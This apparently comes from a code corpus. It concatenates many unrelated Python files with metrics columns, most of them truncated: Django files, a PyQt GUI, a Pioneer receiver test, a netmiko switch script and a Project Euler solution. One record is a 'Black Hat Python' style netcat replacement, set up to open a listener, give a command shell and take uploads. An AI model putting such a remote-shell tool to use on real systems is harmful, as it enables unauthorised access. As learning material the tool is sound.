e9cd934f620fd164e6aaf53cc35ad25300216c93 | 3,170 | py | Python | backend/hqlib/metric/product/owasp_dependency_metrics.py | ICTU/quality-report | f6234e112228ee7cfe6476c2d709fe244579bcfe | [
"Apache-2.0"
] | 25 | 2016-11-25T10:41:24.000Z | 2021-07-03T14:02:49.000Z | backend/hqlib/metric/product/owasp_dependency_metrics.py | ICTU/quality-report | f6234e112228ee7cfe6476c2d709fe244579bcfe | [
"Apache-2.0"
] | 783 | 2016-09-19T12:10:21.000Z | 2021-01-04T20:39:15.000Z | backend/hqlib/metric/product/owasp_dependency_metrics.py | ICTU/quality-report | f6234e112228ee7cfe6476c2d709fe244579bcfe | [
"Apache-2.0"
] | 15 | 2015-03-25T13:52:49.000Z | 2021-03-08T17:17:56.000Z | """
Copyright 2012-2019 Ministerie van Sociale Zaken en Werkgelegenheid
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable... | 40.126582 | 110 | 0.72429 | 408 | 3,170 | 5.455882 | 0.397059 | 0.059299 | 0.019766 | 0.025606 | 0.218778 | 0.192722 | 0.170261 | 0.170261 | 0.170261 | 0.170261 | 0 | 0.007098 | 0.2 | 3,170 | 78 | 111 | 40.641026 | 0.870662 | 0.328076 | 0 | 0 | 0 | 0 | 0.235493 | 0.013056 | 0 | 0 | 0 | 0 | 0 | 1 | 0.075 | false | 0 | 0.075 | 0 | 0.675 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
e9d1703c124d4cabc394bc6f35ee597843c6a769 | 404 | py | Python | passenger_wsgi.py | Jafte/RTTTM | 1272ae1f1d5b34e1bffe7350d74aec9605bede5f | [
"MIT"
] | null | null | null | passenger_wsgi.py | Jafte/RTTTM | 1272ae1f1d5b34e1bffe7350d74aec9605bede5f | [
"MIT"
] | 4 | 2021-06-04T21:30:01.000Z | 2021-09-22T17:39:12.000Z | passenger_wsgi.py | Jafte/jasn.ru | 09d2945825c5bbfa2896c4acfc30acb6138c9ac9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import os
import sys
BASE_APP_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.append(os.path.join(BASE_APP_DIR, 'src/'))
sys.path.append(os.path.join(BASE_APP_DIR, 'venv/lib/python3.4/site-packages'))
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "app.settings")
fr... | 31.076923 | 79 | 0.787129 | 66 | 404 | 4.575758 | 0.5 | 0.099338 | 0.099338 | 0.099338 | 0.324503 | 0.218543 | 0.218543 | 0.218543 | 0.218543 | 0 | 0 | 0.005277 | 0.061881 | 404 | 13 | 80 | 31.076923 | 0.791557 | 0.049505 | 0 | 0 | 0 | 0 | 0.182292 | 0.140625 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
e9d31fd6ceccee23fb9e5db49537b4338556fcaf | 653 | py | Python | timeline/migrations/0007_allow_null_project.py | bihealth/sodar_core | a6c22c4f276b64ffae6de48779a82d59a60a9333 | [
"MIT"
] | 11 | 2019-06-26T14:05:58.000Z | 2020-12-05T02:20:11.000Z | timeline/migrations/0007_allow_null_project.py | bihealth/sodar_core | a6c22c4f276b64ffae6de48779a82d59a60a9333 | [
"MIT"
] | 11 | 2019-07-01T06:17:44.000Z | 2021-04-20T07:19:40.000Z | timeline/migrations/0007_allow_null_project.py | bihealth/sodar-core | ac7397294b24aea352bc7842e75011ad8c1a2033 | [
"MIT"
] | 4 | 2019-06-26T07:49:50.000Z | 2020-05-19T21:58:10.000Z | # Generated by Django 3.1.7 on 2021-04-07 15:24
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('projectroles', '0019_project_public_guest_access'),
('timeline', '0006_update_user_optional'),
]
operations... | 31.095238 | 212 | 0.675345 | 77 | 653 | 5.584416 | 0.701299 | 0.055814 | 0.065116 | 0.102326 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044487 | 0.20827 | 653 | 20 | 213 | 32.65 | 0.787234 | 0.068913 | 0 | 0 | 1 | 0 | 0.293729 | 0.094059 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.357143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e9df9345d1549028c62f70434bef40fd7448e613 | 11,343 | py | Python | hrl_fabric_based_tactile_sensor/src/hrl_fabric_based_tactile_sensor/tactile_sensor_model.py | gt-ros-pkg/hrl-haptic-manip | 6458187075033ecd3a22fbcdc1a632df39b0cba1 | [
"Apache-2.0"
] | 1 | 2017-07-13T14:58:35.000Z | 2017-07-13T14:58:35.000Z | hrl_fabric_based_tactile_sensor/src/hrl_fabric_based_tactile_sensor/tactile_sensor_model.py | gt-ros-pkg/hrl-haptic-manip | 6458187075033ecd3a22fbcdc1a632df39b0cba1 | [
"Apache-2.0"
] | null | null | null | hrl_fabric_based_tactile_sensor/src/hrl_fabric_based_tactile_sensor/tactile_sensor_model.py | gt-ros-pkg/hrl-haptic-manip | 6458187075033ecd3a22fbcdc1a632df39b0cba1 | [
"Apache-2.0"
] | 2 | 2017-03-08T14:44:22.000Z | 2019-07-15T23:46:35.000Z | #!/usr/bin/python
# Charlie Kemp's initial attempt to model the force -> digital signal
# curves for a single taxel.
#
# + First version written on June 4, 2012.
# + Cleaned up, documented, and made minor edits June 5, 2012
import matplotlib.pylab as pl
def logistic(t):
return(1.0/(1.0 + pl.exp(-t)))
def norm... | 41.39781 | 140 | 0.6411 | 1,683 | 11,343 | 4.183007 | 0.225787 | 0.021307 | 0.026989 | 0.023864 | 0.321591 | 0.29375 | 0.258097 | 0.223864 | 0.20625 | 0.20625 | 0 | 0.023023 | 0.268624 | 11,343 | 273 | 141 | 41.549451 | 0.825579 | 0.207264 | 0 | 0.22549 | 0 | 0 | 0.099372 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.009804 | null | null | 0.147059 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7570454418c52414121d4e278b7c599f7953a0c6 | 991 | py | Python | calm/dsl/builtins/models/simple_deployment.py | tuxtof/calm-dsl | 5af67435d8304b97e170a690068f2d5975e9bfe6 | [
"Apache-2.0"
] | 37 | 2019-12-23T15:23:20.000Z | 2022-03-15T11:12:11.000Z | calm/dsl/builtins/models/simple_deployment.py | gabybeitler/calm-dsl | bac453413cfcf800eef95d89d5a7323c83654a93 | [
"Apache-2.0"
] | 144 | 2020-03-09T11:22:09.000Z | 2022-03-28T21:34:09.000Z | calm/dsl/builtins/models/simple_deployment.py | LevyForchh/calm-dsl | ff6e021628c0ef8c04aaa5e37c80fe1fbff729e6 | [
"Apache-2.0"
] | 46 | 2020-01-23T14:28:04.000Z | 2022-03-09T04:17:10.000Z | from .entity import EntityType, Entity
from .validator import PropertyValidator
# SimpleDeployment
class SimpleDeploymentType(EntityType):
__schema_name__ = "SimpleDeployment"
__openapi_type__ = "app_blueprint_simple_deployment"
def get_ref(cls):
"""Note: Only deployment-level dependencies in s... | 24.775 | 74 | 0.720484 | 108 | 991 | 6.25 | 0.398148 | 0.094815 | 0.041481 | 0.068148 | 0.115556 | 0.115556 | 0 | 0 | 0 | 0 | 0 | 0 | 0.194753 | 991 | 39 | 75 | 25.410256 | 0.845865 | 0.134208 | 0 | 0 | 0 | 0 | 0.145711 | 0.101058 | 0 | 0 | 0 | 0 | 0 | 1 | 0.136364 | false | 0 | 0.090909 | 0 | 0.636364 | 0.136364 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
757086a8757d706bb0ea3fa66a07ac0ef6fa2b16 | 338 | py | Python | untitled0.py | prashant0079/Facial-Recognition | 20109af0fc6afe20b09bf73fb2e277dbcba56a47 | [
"MIT"
] | 1 | 2019-06-11T12:23:46.000Z | 2019-06-11T12:23:46.000Z | untitled0.py | prashant0079/Facial-Recognition | 20109af0fc6afe20b09bf73fb2e277dbcba56a47 | [
"MIT"
] | null | null | null | untitled0.py | prashant0079/Facial-Recognition | 20109af0fc6afe20b09bf73fb2e277dbcba56a47 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu Jul 19 15:37:36 2018
@author: phoenix
"""
import glob
path = glob.glob('dataset/*')
for each in path:
print(glob.glob(each+'/*')[0].split('/')[1])
dynamic_dict = { glob.glob(each+'/*')[0].split('/')[1]:glob.glob(each+'/*')[0] for each in path}
pr... | 21.125 | 96 | 0.609467 | 54 | 338 | 3.777778 | 0.574074 | 0.156863 | 0.176471 | 0.191176 | 0.362745 | 0.186275 | 0 | 0 | 0 | 0 | 0 | 0.064846 | 0.133136 | 338 | 16 | 97 | 21.125 | 0.631399 | 0.286982 | 0 | 0 | 0 | 0 | 0.072961 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
757b179ae42ce4cac8888f4d65bd25cebee12eaf | 520 | py | Python | tests/integration/test_pedurma.py | ta4tsering/openpecha-toolkit | ff24b4813fb8146a4327e746e4024890b6807bea | [
"Apache-2.0"
] | 1 | 2021-12-08T04:47:40.000Z | 2021-12-08T04:47:40.000Z | tests/integration/test_pedurma.py | ta4tsering/openpecha-toolkit | ff24b4813fb8146a4327e746e4024890b6807bea | [
"Apache-2.0"
] | 38 | 2019-11-12T10:49:25.000Z | 2021-04-07T12:10:24.000Z | tests/integration/test_pedurma.py | OpenPecha/openpecha | 73359686e2b3a703c6018aecbffe7adb4f485c88 | [
"Apache-2.0"
] | 6 | 2019-11-14T12:30:35.000Z | 2020-05-12T01:50:13.000Z | from pathlib import Path
from openpecha import formatters
from openpecha.formatters import PedurmaFormatter
from openpecha.serializers import PedurmaSerializer
if __name__ == "__main__":
opf_path = "./output/opfs/D1111/D1111.opf/"
opfs_path = "./output/opfs/"
preview_path = "./output/D1111/"
# previe... | 28.888889 | 55 | 0.75 | 59 | 520 | 6.338983 | 0.389831 | 0.104278 | 0.074866 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027523 | 0.161538 | 520 | 18 | 56 | 28.888889 | 0.830275 | 0.061538 | 0 | 0 | 0 | 0 | 0.13786 | 0.061728 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
757b47a35ffb770102ef81f7b204247558f60e92 | 995 | py | Python | tests/console_out.py | nitinkatkam/logmagic | 33180cb10e342bb568bb2133ce3cd34ea7a4e9f1 | [
"MIT"
] | null | null | null | tests/console_out.py | nitinkatkam/logmagic | 33180cb10e342bb568bb2133ce3cd34ea7a4e9f1 | [
"MIT"
] | null | null | null | tests/console_out.py | nitinkatkam/logmagic | 33180cb10e342bb568bb2133ce3cd34ea7a4e9f1 | [
"MIT"
] | null | null | null | from logmagic.loggerutil import make_logger
from unittest import TestCase
import unittest
import sys
from io import StringIO
import contextlib
import re
class ConsoleOutTest(TestCase):
def test_debugout(self):
# global saved_stdout # Use sys.__stdout__ instead
# saved_stdout = sys.stdout
... | 30.151515 | 124 | 0.619095 | 122 | 995 | 4.786885 | 0.393443 | 0.023973 | 0.025685 | 0.034247 | 0.258562 | 0.258562 | 0.02911 | 0.02911 | 0.02911 | 0.02911 | 0 | 0.028728 | 0.265327 | 995 | 32 | 125 | 31.09375 | 0.770178 | 0.171859 | 0 | 0 | 0 | 0.045455 | 0.155828 | 0.077301 | 0 | 0 | 0 | 0 | 0.045455 | 1 | 0.045455 | false | 0 | 0.318182 | 0 | 0.409091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
757c683eda33600b05cb4d37cb2283526a76068b | 142,504 | py | Python | TarangGUI.py | anandogc/tui | 0e86e076888874d59d92549258641d9a151c5202 | [
"BSD-2-Clause"
] | null | null | null | TarangGUI.py | anandogc/tui | 0e86e076888874d59d92549258641d9a151c5202 | [
"BSD-2-Clause"
] | null | null | null | TarangGUI.py | anandogc/tui | 0e86e076888874d59d92549258641d9a151c5202 | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'TarangGUI.ui'
#
# Created by: PyQt5 UI code generator 5.15.6
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
from PyQt5 import QtCore, Qt... | 62.694237 | 147 | 0.715376 | 17,282 | 142,504 | 5.642055 | 0.03495 | 0.074211 | 0.075134 | 0.022614 | 0.655919 | 0.494493 | 0.402714 | 0.150001 | 0.128023 | 0.073062 | 0 | 0.070999 | 0.164332 | 142,504 | 2,272 | 148 | 62.721831 | 0.747771 | 0.00247 | 0 | 0.054473 | 1 | 0 | 0.09056 | 0.011932 | 0 | 0 | 0 | 0 | 0 | 1 | 0.000886 | false | 0 | 0.000443 | 0 | 0.001771 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
75836b4faa1bcfdb9981df6af84228766ed8fc79 | 2,085 | py | Python | test_harness.py | j-mutter/pyoneer_vsx | e9fc782cba0c300e8bfde688856237eff34ae1bc | [
"Apache-2.0"
] | 3 | 2020-01-02T21:38:50.000Z | 2022-01-12T18:44:42.000Z | test_harness.py | j-mutter/pyoneer_vsx | e9fc782cba0c300e8bfde688856237eff34ae1bc | [
"Apache-2.0"
] | 1 | 2019-08-01T02:33:34.000Z | 2019-08-01T02:33:34.000Z | test_harness.py | j-mutter/pyoneer_vsx | e9fc782cba0c300e8bfde688856237eff34ae1bc | [
"Apache-2.0"
] | 2 | 2020-01-02T21:38:53.000Z | 2020-06-03T19:36:57.000Z | #!/usr/bin/env python3
import argparse
import asyncio
import pyoneer_vsx
import logging
log = logging.getLogger(__name__)
@asyncio.coroutine
def test():
parser = argparse.ArgumentParser(description=test.__doc__)
parser.add_argument('--host', default='127.0.0.1', help='IP or FQDN of AVR')
parser.add_argum... | 27.434211 | 111 | 0.680576 | 300 | 2,085 | 4.623333 | 0.31 | 0.055516 | 0.092286 | 0.121125 | 0.410238 | 0.356885 | 0.356885 | 0.356885 | 0.356885 | 0.356885 | 0 | 0.018246 | 0.185132 | 2,085 | 76 | 112 | 27.434211 | 0.798117 | 0.010072 | 0 | 0.254902 | 0 | 0 | 0.14874 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.078431 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
758b4ab7b3116c69fe9437a73e3864ff80329e63 | 1,079 | py | Python | add-oxidized-account.py | KJThoma/arista-automation | 3b7097d2fffd20088fe32cc1583bc52df9d2e44e | [
"MIT"
] | null | null | null | add-oxidized-account.py | KJThoma/arista-automation | 3b7097d2fffd20088fe32cc1583bc52df9d2e44e | [
"MIT"
] | null | null | null | add-oxidized-account.py | KJThoma/arista-automation | 3b7097d2fffd20088fe32cc1583bc52df9d2e44e | [
"MIT"
] | null | null | null | from netmiko import ConnectHandler
# our devices info to connect and session log files to save output
arista_1 = {
'device_type': 'arista_eos',
'ip': 'your_ip',
'username': 'your_username',
'password': 'your_password',
'session_log': 'sw1.txt'
}
arista_2 = {
'device_type': 'arista_eos',
'i... | 26.317073 | 97 | 0.661724 | 139 | 1,079 | 4.920863 | 0.395683 | 0.05848 | 0.070175 | 0.083333 | 0.337719 | 0.337719 | 0.337719 | 0.337719 | 0.337719 | 0.337719 | 0 | 0.020833 | 0.199259 | 1,079 | 40 | 98 | 26.975 | 0.770833 | 0.173309 | 0 | 0.5 | 0 | 0 | 0.390766 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.09375 | 0.03125 | 0 | 0.03125 | 0.15625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
758f240eb786ac54f5d69927c3132d5781f38560 | 4,677 | py | Python | src/Chapter2/netcatReplacement.py | cyber-atlas/BlackHatPython | 4379bf99c22b7765501093511ef3af81c8086fd8 | [
"MIT"
] | 1 | 2019-07-20T02:27:44.000Z | 2019-07-20T02:27:44.000Z | src/Chapter2/netcatReplacement.py | cyber-atlas/BlackHatPython | 4379bf99c22b7765501093511ef3af81c8086fd8 | [
"MIT"
] | null | null | null | src/Chapter2/netcatReplacement.py | cyber-atlas/BlackHatPython | 4379bf99c22b7765501093511ef3af81c8086fd8 | [
"MIT"
] | null | null | null | import sys
import socket
import getopt
import threading
import subprocess
#Define some global variables
#Fun fact: learned you can use tabs to make good spacing in python
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destina... | 31.18 | 87 | 0.567458 | 615 | 4,677 | 4.281301 | 0.354472 | 0.006836 | 0.017091 | 0.01823 | 0.094569 | 0.062286 | 0.062286 | 0.062286 | 0.031903 | 0.031903 | 0 | 0.021853 | 0.344452 | 4,677 | 149 | 88 | 31.389262 | 0.836921 | 0.295061 | 0 | 0.126316 | 0 | 0.021053 | 0.185526 | 0.00644 | 0 | 0 | 0 | 0.006711 | 0.010526 | 0 | null | null | 0.010526 | 0.052632 | null | null | 0.178947 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7592e5418ae6b25ca3cfd4faaf02e1b7ed66be98 | 725 | py | Python | scripts/engine/systems/reaction.py | slavfox/notquiteparadise | 6ac252883b224a29222fa0576b086dc72b351d04 | [
"MIT"
] | null | null | null | scripts/engine/systems/reaction.py | slavfox/notquiteparadise | 6ac252883b224a29222fa0576b086dc72b351d04 | [
"MIT"
] | null | null | null | scripts/engine/systems/reaction.py | slavfox/notquiteparadise | 6ac252883b224a29222fa0576b086dc72b351d04 | [
"MIT"
] | null | null | null | from __future__ import annotations
import pygame
from scripts.engine import world
from scripts.engine.component import Position
from scripts.engine.core import queries
from scripts.engine.core.constants import GameEvent
__all__ = ["process_win_condition"]
def process_win_condition():
"""
Process the win co... | 27.884615 | 69 | 0.726897 | 94 | 725 | 5.351064 | 0.414894 | 0.119284 | 0.135189 | 0.083499 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.193103 | 725 | 25 | 70 | 29 | 0.859829 | 0.075862 | 0 | 0 | 0 | 0 | 0.03211 | 0.03211 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.4 | 0 | 0.466667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
759e45a681d65cbef987ee50c5be092554f30b7d | 553 | py | Python | 27/27.py | cleamoon/ProjectEuler | 8d51ad089e5fa21c709161fc658f8c4b533a3ac3 | [
"MIT"
] | null | null | null | 27/27.py | cleamoon/ProjectEuler | 8d51ad089e5fa21c709161fc658f8c4b533a3ac3 | [
"MIT"
] | null | null | null | 27/27.py | cleamoon/ProjectEuler | 8d51ad089e5fa21c709161fc658f8c4b533a3ac3 | [
"MIT"
] | null | null | null | lim = 10000000
num = [True for _ in range(lim)]
for i in range(4, lim, 2):
num[i] = False
for i in range(3, lim, 2):
if num[i]:
for j in range(i * i, lim, i):
num[j] = False
oa = 0
ob = 0
mnp = 0
size = 1000
for a in range(-size + 1, size):
for b in range(1, size, 2):
np =... | 17.28125 | 38 | 0.410488 | 92 | 553 | 2.456522 | 0.304348 | 0.216814 | 0.053097 | 0.097345 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.084459 | 0.464738 | 553 | 32 | 39 | 17.28125 | 0.679054 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.04 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
759f0909a9708c3da77b3a62ff87e3ff78acea59 | 417 | py | Python | newapp1/migrations/0005_userreview_prolific_id.py | aishikamidder05/indicator-quality500 | 8e091f8b150268c391bf3fa94c51444465cea026 | [
"MIT"
] | 1 | 2021-10-30T08:53:39.000Z | 2021-10-30T08:53:39.000Z | newapp1/migrations/0005_userreview_prolific_id.py | aishikamidder05/indicator-quality500 | 8e091f8b150268c391bf3fa94c51444465cea026 | [
"MIT"
] | null | null | null | newapp1/migrations/0005_userreview_prolific_id.py | aishikamidder05/indicator-quality500 | 8e091f8b150268c391bf3fa94c51444465cea026 | [
"MIT"
] | null | null | null | # Generated by Django 3.1.5 on 2021-09-02 21:07
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('newapp1', '0004_auto_20210830_2333'),
]
operations = [
migrations.AddField(
model_name='userreview',
name='prolific_... | 21.947368 | 74 | 0.613909 | 47 | 417 | 5.319149 | 0.851064 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115132 | 0.270983 | 417 | 18 | 75 | 23.166667 | 0.707237 | 0.107914 | 0 | 0 | 1 | 0 | 0.137838 | 0.062162 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
75a238cffb90fb90daa9a9515f2ee278c03ec3b5 | 452 | py | Python | catalog/bindings/wfs/extended_description_type.py | NIVANorge/s-enda-playground | 56ae0a8978f0ba8a5546330786c882c31e17757a | [
"Apache-2.0"
] | null | null | null | catalog/bindings/wfs/extended_description_type.py | NIVANorge/s-enda-playground | 56ae0a8978f0ba8a5546330786c882c31e17757a | [
"Apache-2.0"
] | null | null | null | catalog/bindings/wfs/extended_description_type.py | NIVANorge/s-enda-playground | 56ae0a8978f0ba8a5546330786c882c31e17757a | [
"Apache-2.0"
] | null | null | null | from dataclasses import dataclass, field
from typing import List
from bindings.wfs.element import Element
__NAMESPACE__ = "http://www.opengis.net/wfs/2.0"
@dataclass
class ExtendedDescriptionType:
element: List[Element] = field(
default_factory=list,
metadata={
"name": "Element",
... | 23.789474 | 58 | 0.610619 | 49 | 452 | 5.510204 | 0.55102 | 0.118519 | 0.148148 | 0.17037 | 0.281481 | 0.281481 | 0.281481 | 0.281481 | 0.281481 | 0 | 0 | 0.01497 | 0.261062 | 452 | 18 | 59 | 25.111111 | 0.793413 | 0 | 0 | 0 | 0 | 0 | 0.223451 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
75b3c5af730a69c602567b398ef5f886ca427c14 | 5,344 | py | Python | src/packagedcode/xmlutils.py | chetanya-shrimali/scancode-toolkit | a1a22fb225cbeb211bd6f92272a46f1351f57d6b | [
"Apache-2.0",
"CC0-1.0"
] | null | null | null | src/packagedcode/xmlutils.py | chetanya-shrimali/scancode-toolkit | a1a22fb225cbeb211bd6f92272a46f1351f57d6b | [
"Apache-2.0",
"CC0-1.0"
] | null | null | null | src/packagedcode/xmlutils.py | chetanya-shrimali/scancode-toolkit | a1a22fb225cbeb211bd6f92272a46f1351f57d6b | [
"Apache-2.0",
"CC0-1.0"
] | null | null | null | #
# Copyright (c) 2017 nexB Inc. and others. All rights reserved.
# http://nexb.com and https://github.com/nexB/scancode-toolkit/
# The ScanCode software is licensed under the Apache License version 2.0.
# Data generated with ScanCode require an acknowledgment.
# ScanCode is a trademark of nexB Inc.
#
# You may not use... | 34.25641 | 100 | 0.700973 | 740 | 5,344 | 4.998649 | 0.362162 | 0.014599 | 0.012976 | 0.008651 | 0.095161 | 0.095161 | 0.077318 | 0.077318 | 0.077318 | 0.077318 | 0 | 0.004299 | 0.216504 | 5,344 | 155 | 101 | 34.477419 | 0.87915 | 0.605913 | 0 | 0.173077 | 0 | 0 | 0.019565 | 0 | 0 | 0 | 0 | 0.012903 | 0 | 1 | 0.115385 | false | 0 | 0.115385 | 0 | 0.384615 | 0.019231 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
75d1fb863ce50ceb26225bde78b1a3fdebc6a831 | 424 | py | Python | config/settings/pythonanywhere.py | maelle/reprohack_site | 1ad92436acf7bb35ad6a6a92ad937b49ca01fedb | [
"MIT"
] | 10 | 2019-10-27T07:51:41.000Z | 2022-02-04T14:48:01.000Z | config/settings/pythonanywhere.py | maelle/reprohack_site | 1ad92436acf7bb35ad6a6a92ad937b49ca01fedb | [
"MIT"
] | 131 | 2019-10-25T20:21:41.000Z | 2022-03-22T16:12:56.000Z | config/settings/pythonanywhere.py | maelle/reprohack_site | 1ad92436acf7bb35ad6a6a92ad937b49ca01fedb | [
"MIT"
] | 12 | 2019-10-26T12:52:45.000Z | 2022-02-16T17:07:40.000Z | from .production import *
DEBUG = False
ALLOWED_HOSTS += ["reprohacks.eu.pythonanywhere.com", "reprohack.org", "www.reprohack.org"]
DATABASES = {
"default": {
"ENGINE": "django.db.backends.mysql",
"NAME": "reprohacks$reprohack_db",
